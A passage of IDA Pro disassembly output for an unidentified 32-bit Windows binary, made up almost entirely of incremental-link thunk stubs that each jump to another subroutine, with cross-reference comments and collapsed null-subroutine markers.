endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABF95 proc near jmp near ptr dword_13DB8B8+1B8h sub_13ABF95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABF9A proc near ; CODE XREF: sub_13B3930+20p jmp sub_13B3A00 sub_13ABF9A endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABFA4 proc near jmp sub_13B6FB0 sub_13ABFA4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABFA9 proc near jmp sub_13DADF0 sub_13ABFA9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABFAE proc near ; CODE XREF: sub_13CBFE0+1Fp jmp sub_13CC3C0 sub_13ABFAE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABFB3 proc near ; CODE XREF: sub_13D1940+39p jmp sub_13D1500 sub_13ABFB3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABFB8 proc near ; CODE XREF: sub_13BFB40+5p ; sub_13BFD40+6p ... jmp sub_13C0790 sub_13ABFB8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABFBD proc near ; CODE XREF: sub_13DA690+63p ; sub_13DA7F0+5Dp jmp sub_13DA8F0 sub_13ABFBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABFC2 proc near jmp sub_13DB020 sub_13ABFC2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABFC7 proc near ; CODE XREF: sub_13CFFF0+1D2p jmp sub_13D0DC0 sub_13ABFC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABFCC proc near ; CODE XREF: sub_13C57E0+3p jmp sub_13C5810 sub_13ABFCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABFD1 proc near ; CODE XREF: sub_13D2640+3p jmp sub_13D2670 sub_13ABFD1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABFD6 proc near ; CODE XREF: sub_13CCE50+92Ap ; .idata:013CE49Ap jmp sub_13CFD00 sub_13ABFD6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABFDB proc near ; CODE XREF: sub_13D76E0+18Dp ; sub_13D76E0+1CDp ... jmp sub_13D83F0 sub_13ABFDB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABFE0 proc near ; CODE XREF: sub_13BE640+3Cp jmp sub_13BE770 sub_13ABFE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABFE5 proc near ; CODE XREF: sub_13C28A0+28Ap jmp sub_13B6760 sub_13ABFE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABFEA proc near ; CODE XREF: sub_13CF440+8Bp jmp sub_13CEC60 sub_13ABFEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABFEF proc near ; CODE XREF: sub_13B54B0+6Ep ; sub_13B5570+34p ... jmp sub_13B61D0 sub_13ABFEF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABFF4 proc near ; CODE XREF: sub_13B54B0+5Cp jmp sub_13B6070 sub_13ABFF4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABFF9 proc near jmp near ptr 13DCBE0h sub_13ABFF9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13ABFFE proc near jmp near ptr dword_13DB520+20h sub_13ABFFE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC003 proc near ; CODE XREF: sub_13DAEF0+20p ; sub_13DB020+20p jmp sub_13DAAB0 sub_13AC003 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC008 proc near jmp sub_13D9150 sub_13AC008 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC00D proc near ; CODE XREF: sub_13C28A0+253p jmp near ptr 13DEBD0h sub_13AC00D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC012 proc near ; CODE XREF: sub_13BDBF0+84p jmp near ptr 13DDD60h sub_13AC012 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC017 proc near ; CODE XREF: sub_13D6280+678p jmp sub_13D5480 sub_13AC017 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC01C proc near ; CODE XREF: sub_13D4C30+446p jmp sub_13D4A10 sub_13AC01C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC021 proc near jmp sub_13C5A30 sub_13AC021 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC026 proc near jmp near ptr dword_13DBDB0+130h sub_13AC026 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC02B proc near jmp sub_13D2410 sub_13AC02B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC030 proc near jmp sub_13CA090 sub_13AC030 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC035 proc near ; CODE XREF: sub_13C53F0+8p ; sub_13C57A0+Dp ... jmp sub_13C4420 sub_13AC035 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC03A proc near ; CODE XREF: sub_13D4520+3p jmp sub_13D4550 sub_13AC03A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC03F proc near jmp sub_13C5190 sub_13AC03F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC044 proc near jmp sub_13C0DA0 sub_13AC044 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC049 proc near ; CODE XREF: sub_13B6190+1Fp jmp sub_13B62C0 sub_13AC049 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC04E proc near ; CODE XREF: sub_13BFE10+9p ; sub_13BFF30+18p jmp sub_13C09E0 sub_13AC04E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC053 proc near ; CODE XREF: sub_13C3060+4p jmp sub_13C3380 sub_13AC053 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC058 proc near ; CODE XREF: sub_13B1770+11p ; sub_13B1770+27p ... jmp sub_13B1920 sub_13AC058 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC05D proc near ; CODE XREF: sub_13AF070+111p ; sub_13AF070+ECDp ... jmp sub_13B45F0 sub_13AC05D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC062 proc near ; CODE XREF: sub_13BD530+7Ap ; sub_13BD630+3Cp ... jmp sub_13BFBF0 sub_13AC062 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC067 proc near jmp sub_13D8DE0 sub_13AC067 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC06C proc near ; CODE XREF: sub_13CFAD0+6Ep jmp sub_13CFC40 sub_13AC06C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC071 proc near ; CODE XREF: sub_13B5920+2Fp ; sub_13B5920+6Ep ... jmp sub_13B6160 sub_13AC071 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC076 proc near ; CODE XREF: sub_13D9150+58p ; sub_13D9150+6Dp ... jmp near ptr 13DD0E0h sub_13AC076 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC07B proc near ; CODE XREF: sub_13BF780+11p ; sub_13C01E0+1Fp jmp sub_13C03D0 sub_13AC07B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC080 proc near jmp sub_13C7C40 sub_13AC080 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC085 proc near jmp sub_13C3D20 sub_13AC085 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC08A proc near ; CODE XREF: sub_13B1770+9p ; sub_13C3190+18p jmp sub_13B19C0 sub_13AC08A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC08F proc near ; CODE XREF: sub_13BD600+3p ; sub_13C0DA0+1ABp jmp sub_13BD630 sub_13AC08F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC094 proc near jmp sub_13B5C10 sub_13AC094 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC099 proc near jmp sub_13C10A0 sub_13AC099 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC0A3 proc near ; CODE XREF: sub_13C1140+13Ap jmp sub_13C25C0 sub_13AC0A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC0A8 proc near ; CODE XREF: sub_13BFEB0+Cp ; sub_13BFEB0+43p jmp sub_13C09B0 sub_13AC0A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC0AD proc near ; CODE XREF: sub_13B3A00+45p jmp sub_13B3CE0 sub_13AC0AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC0B2 proc near jmp near ptr 13DD560h sub_13AC0B2 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC0BC proc near ; CODE XREF: sub_13BA370+3A4p jmp sub_13B4400 sub_13AC0BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC0C1 proc near ; CODE XREF: sub_13B1B90+64Cp ; sub_13B1B90+6F3p ... jmp sub_13B1AF0 sub_13AC0C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC0C6 proc near ; CODE XREF: sub_13BF830+16p ; sub_13BF870+Bp ... jmp sub_13C04A0 sub_13AC0C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC0CB proc near ; CODE XREF: sub_13B3A00+144p jmp sub_13B3D70 sub_13AC0CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC0D0 proc near ; CODE XREF: sub_13AEA40+1C2p ; sub_13AEF10+36p ... jmp sub_13BD7E0 sub_13AC0D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC0D5 proc near ; CODE XREF: sub_13BF500+34p ; sub_13BFF30+67p jmp sub_13C00D0 sub_13AC0D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC0DA proc near ; CODE XREF: sub_13C28A0+2C2p jmp sub_13B3EA0 sub_13AC0DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC0DF proc near jmp sub_13CA010 sub_13AC0DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC0E4 proc near jmp sub_13D84D0 sub_13AC0E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC0E9 proc near ; CODE XREF: sub_13B6290+5p jmp sub_13B64F0 sub_13AC0E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC0EE proc near jmp sub_13D9650 sub_13AC0EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC0F3 proc near ; CODE XREF: sub_13CC160+11p ; sub_13CC160+27p ... jmp sub_13CC710 sub_13AC0F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC0F8 proc near jmp sub_13BD600 sub_13AC0F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC0FD proc near ; CODE XREF: sub_13BFBB0+1Fp jmp sub_13C0530 sub_13AC0FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC102 proc near ; CODE XREF: sub_13B9A10+1ACp ; sub_13B9A10+1EDp ... jmp sub_13B99A0 sub_13AC102 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC107 proc near ; CODE XREF: sub_13BE1B0+15Cp jmp sub_13BE4A0 sub_13AC107 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC10C proc near ; CODE XREF: sub_13AF020+23p ; sub_13BA370+13C2p jmp sub_13BCF30 sub_13AC10C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC111 proc near ; CODE XREF: sub_13C1140+FFp jmp sub_13C2460 sub_13AC111 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC116 proc near ; CODE XREF: sub_13B1940+7p ; sub_13B6600+7p ... jmp sub_13B19E0 sub_13AC116 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC11B proc near ; CODE XREF: sub_13B4C10+1Ap ; sub_13B4CC0+4p ... jmp sub_13B4C80 sub_13AC11B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC120 proc near ; CODE XREF: sub_13AEA40+289p ; sub_13AEA40+2ADp ... jmp sub_13B44A0 sub_13AC120 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC125 proc near jmp sub_13D96D0 sub_13AC125 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC12A proc near jmp sub_13D26E0 sub_13AC12A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC12F proc near jmp sub_13D8AA0 sub_13AC12F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC134 proc near ; CODE XREF: sub_13C28A0+C0p jmp sub_13AE3C0 sub_13AC134 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC139 proc near ; CODE XREF: sub_13BC3F0+123p ; sub_13BC3F0+1E2p jmp sub_13BCAC0 sub_13AC139 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC13E proc near jmp sub_13C5880 sub_13AC13E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC143 proc near jmp sub_13B5B90 sub_13AC143 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC148 proc near ; CODE XREF: sub_13CC090+5p jmp sub_13CC5F0 sub_13AC148 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC14D proc near ; CODE XREF: sub_13C0280+5Fp jmp sub_13C0AA0 sub_13AC14D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC152 proc near ; CODE XREF: sub_13C7C40+2C7p jmp sub_13D8E60 sub_13AC152 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC157 proc near ; CODE XREF: sub_13C2FB0+7p jmp sub_13C3250 sub_13AC157 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC15C proc near ; CODE XREF: sub_13BDA80+5Dp ; sub_13BDA80+9Bp ... jmp sub_13BF750 sub_13AC15C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC161 proc near jmp near ptr 13E04C0h sub_13AC161 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC166 proc near ; CODE XREF: sub_13BFB40+16p ; sub_13BFB80+Bp ... jmp sub_13C07F0 sub_13AC166 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC16B proc near jmp sub_13B5C80 sub_13AC16B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC170 proc near jmp sub_13DAA80 sub_13AC170 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC175 proc near ; CODE XREF: sub_13CBF70+16p ; sub_13CBFB0+Bp ... jmp sub_13CC5C0 sub_13AC175 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC17A proc near jmp sub_13D6C00 sub_13AC17A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC17F proc near ; CODE XREF: sub_13C28A0+1F8p jmp sub_13C67A0 sub_13AC17F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC184 proc near ; CODE XREF: sub_13C2DC0+16p ; sub_13C2E00+Bp ... jmp sub_13C3130 sub_13AC184 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC189 proc near ; CODE XREF: sub_13BDA80+53p ; sub_13BDA80+91p ... jmp sub_13BF5B0 sub_13AC189 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC18E proc near ; CODE XREF: sub_13CCE50+5Ep jmp sub_13CFCC0 sub_13AC18E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC193 proc near ; CODE XREF: sub_13CCE50+192p jmp sub_13CFBC0 sub_13AC193 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_4. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC19D proc near ; CODE XREF: sub_13D2460+81p jmp sub_13D1EF0 sub_13AC19D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC1A2 proc near ; CODE XREF: sub_13BFA90+11p ; sub_13C0530+1Fp jmp sub_13C0720 sub_13AC1A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC1A7 proc near ; CODE XREF: sub_13BF570+16p ; sub_13BF5B0+Bp ... jmp sub_13C0150 sub_13AC1A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC1AC proc near ; CODE XREF: sub_13BEAA0+83p jmp sub_13BE8E0 sub_13AC1AC endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_8. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC1B6 proc near ; CODE XREF: sub_13D1390+90p jmp sub_13D1940 sub_13AC1B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC1BB proc near ; CODE XREF: sub_13D5480+118p jmp sub_13D52E0 sub_13AC1BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC1C0 proc near jmp sub_13BE530 sub_13AC1C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC1C5 proc near jmp near ptr dword_13DBC10 sub_13AC1C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC1CA proc near ; CODE XREF: sub_13C9EA0+1Dp jmp sub_13B5470 sub_13AC1CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC1CF proc near ; CODE XREF: sub_13B4DF0+45p jmp sub_13B5070 sub_13AC1CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC1D4 proc near ; CODE XREF: sub_13D94D0+71p ; sub_13D9590+71p ... jmp near ptr dword_13DBDB0 sub_13AC1D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC1D9 proc near ; CODE XREF: sub_13CFFF0+64p jmp sub_13D12D0 sub_13AC1D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC1DE proc near jmp near ptr dword_13DBDB0+0D0h sub_13AC1DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC1E3 proc near ; CODE XREF: sub_13BA370+AE7p ; sub_13BA370+E5Dp jmp sub_13C9280 sub_13AC1E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC1E8 proc near ; CODE XREF: sub_13B50A0+Ap jmp sub_13B5190 sub_13AC1E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC1ED proc near ; CODE XREF: sub_13C0DA0+ABp jmp sub_13C1EF0 sub_13AC1ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC1F2 proc near ; CODE XREF: sub_13CC290+4p jmp sub_13CC730 sub_13AC1F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC1F7 proc near ; CODE XREF: sub_13B6800+275p ; sub_13CF440+50p jmp sub_13CDA70 sub_13AC1F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC1FC proc near ; CODE XREF: sub_13C0530+5Ap jmp sub_13C0B70 sub_13AC1FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC201 proc near ; CODE XREF: sub_13C00D0+7p jmp sub_13C08D0 sub_13AC201 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC206 proc near ; CODE XREF: sub_13C7C40+19Bp jmp sub_13D6BB0 sub_13AC206 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC20B proc near ; CODE XREF: sub_13AE3C0+49Ep ; sub_13AF070+83Bp ... jmp sub_13BCD10 sub_13AC20B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC210 proc near jmp sub_13BD600 sub_13AC210 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC215 proc near jmp sub_13D2640 sub_13AC215 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC21A proc near ; CODE XREF: sub_13BF7C0+34p ; sub_13C0280+67p jmp sub_13C0420 sub_13AC21A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC21F proc near ; CODE XREF: sub_13BDA80+31p ; sub_13BE8E0+2Dp jmp sub_13BF6E0 sub_13AC21F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC224 proc near ; CODE XREF: sub_13B6FB0+1F2p ; .idata:013CE2DEp ... jmp sub_13CFA60 sub_13AC224 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC229 proc near ; CODE XREF: sub_13BFD00+3p jmp sub_13C07D0 sub_13AC229 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC22E proc near ; CODE XREF: sub_13AEA40+97p ; sub_13AEA40+107p ... jmp sub_13B47C0 sub_13AC22E endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_3. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC238 proc near ; CODE XREF: .idata:013CE10Fp jmp sub_13CDC60 sub_13AC238 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC23D proc near ; CODE XREF: sub_13CC0C0+5Ap jmp sub_13CC620 sub_13AC23D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC242 proc near jmp sub_13C1140 sub_13AC242 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC247 proc near ; CODE XREF: sub_13C28A0+22Fp jmp near ptr 13DFA00h sub_13AC247 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC24C proc near jmp near ptr 13DFB10h sub_13AC24C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC251 proc near jmp sub_13DA1D0 sub_13AC251 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC256 proc near ; CODE XREF: sub_13C09B0+5p jmp sub_13C0C00 sub_13AC256 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC25B proc near ; CODE XREF: sub_13AF070+28Dp ; sub_13C7C40+6A6p jmp sub_13B7F50 sub_13AC25B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC260 proc near ; CODE XREF: sub_13CC820+5Fp jmp sub_13CCA10 sub_13AC260 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC265 proc near jmp sub_13C42A0 sub_13AC265 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC26A proc near ; CODE XREF: sub_13B9A10+22p ; sub_13BBC70+1Dp ... jmp sub_13B51C0 sub_13AC26A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC26F proc near ; CODE XREF: sub_13B4DF0+112p ; sub_13B4DF0+153p jmp sub_13B50D0 sub_13AC26F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC274 proc near jmp sub_13C5420 sub_13AC274 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC279 proc near ; CODE XREF: sub_13BF9F0+3p jmp sub_13C0480 sub_13AC279 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC27E proc near ; CODE XREF: sub_13D0D80+1Ap jmp sub_13D0C40 sub_13AC27E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC283 proc near ; CODE XREF: sub_13C0DA0+17Bp jmp sub_13C19F0 sub_13AC283 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC288 proc near jmp near ptr 13DC2E0h sub_13AC288 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC28D proc near ; CODE XREF: sub_13CA500+3Ap jmp sub_13CA710 sub_13AC28D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC292 proc near jmp sub_13D1390 sub_13AC292 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC297 proc near jmp near ptr 13DCC20h sub_13AC297 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC29C proc near ; CODE XREF: sub_13C0720+4p jmp sub_13C0B20 sub_13AC29C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC2A1 proc near ; CODE XREF: sub_13BFC40+4Fp ; sub_13C05D0+11p ... jmp sub_13C0820 sub_13AC2A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC2A6 proc near ; CODE XREF: sub_13BFA60+5p jmp sub_13C0500 sub_13AC2A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC2AB proc near ; CODE XREF: sub_13CEC60+151p jmp sub_13CEC20 sub_13AC2AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC2B0 proc near ; CODE XREF: sub_13C0DA0+11Bp jmp sub_13C1C40 sub_13AC2B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC2B5 proc near ; CODE XREF: sub_13BF6E0+3p jmp sub_13C0130 sub_13AC2B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC2BA proc near ; CODE XREF: sub_13BF440+11p ; sub_13BF480+13p ... jmp sub_13C0080 sub_13AC2BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC2BF proc near ; CODE XREF: sub_13CBD70+16p ; sub_13CBDB0+Bp ... jmp sub_13CC360 sub_13AC2BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC2C4 proc near jmp sub_13C2C70 sub_13AC2C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC2C9 proc near jmp sub_13C6660 sub_13AC2C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC2CE proc near ; CODE XREF: sub_13C32A0+18p ; sub_13CC0C0+9p jmp sub_13C3460 sub_13AC2CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC2D3 proc near ; CODE XREF: sub_13CC950+Ap jmp sub_13CCAF0 sub_13AC2D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC2D8 proc near jmp sub_13C6060 sub_13AC2D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC2DD proc near jmp near ptr 13DCCD0h sub_13AC2DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC2E2 proc near ; CODE XREF: sub_13C0DA0+7Bp jmp sub_13C1F30 sub_13AC2E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC2E7 proc near ; CODE XREF: sub_13B4C10+13p jmp loc_13B4D50 sub_13AC2E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC2EC proc near ; CODE XREF: sub_13C28A0:loc_13C2A31p ; sub_13C5470:loc_13C54BCp ... jmp sub_13C3CB0 sub_13AC2EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC2F1 proc near ; CODE XREF: sub_13BE640+95p jmp sub_13BF8A0 sub_13AC2F1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC2F6 proc near ; CODE XREF: sub_13BFAD0+34p ; sub_13C05D0+67p jmp sub_13C0770 sub_13AC2F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC2FB proc near ; CODE XREF: sub_13BF700+3p ; sub_13BFE10+4Fp ... jmp sub_13C0110 sub_13AC2FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC300 proc near ; CODE XREF: sub_13C28A0+269p jmp sub_13BD020 sub_13AC300 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC305 proc near ; CODE XREF: sub_13BD530+4Dp jmp sub_13BF780 sub_13AC305 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC30A proc near ; CODE XREF: sub_13B14F0+5Cp ; sub_13C3270+3p jmp sub_13B1710 sub_13AC30A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC30F proc near ; CODE XREF: sub_13C34C0+53p jmp sub_13C3580 sub_13AC30F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13AC314 proc near ; CODE XREF: sub_13B62C0+5Ap jmp sub_13B6650 sub_13AC314 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: 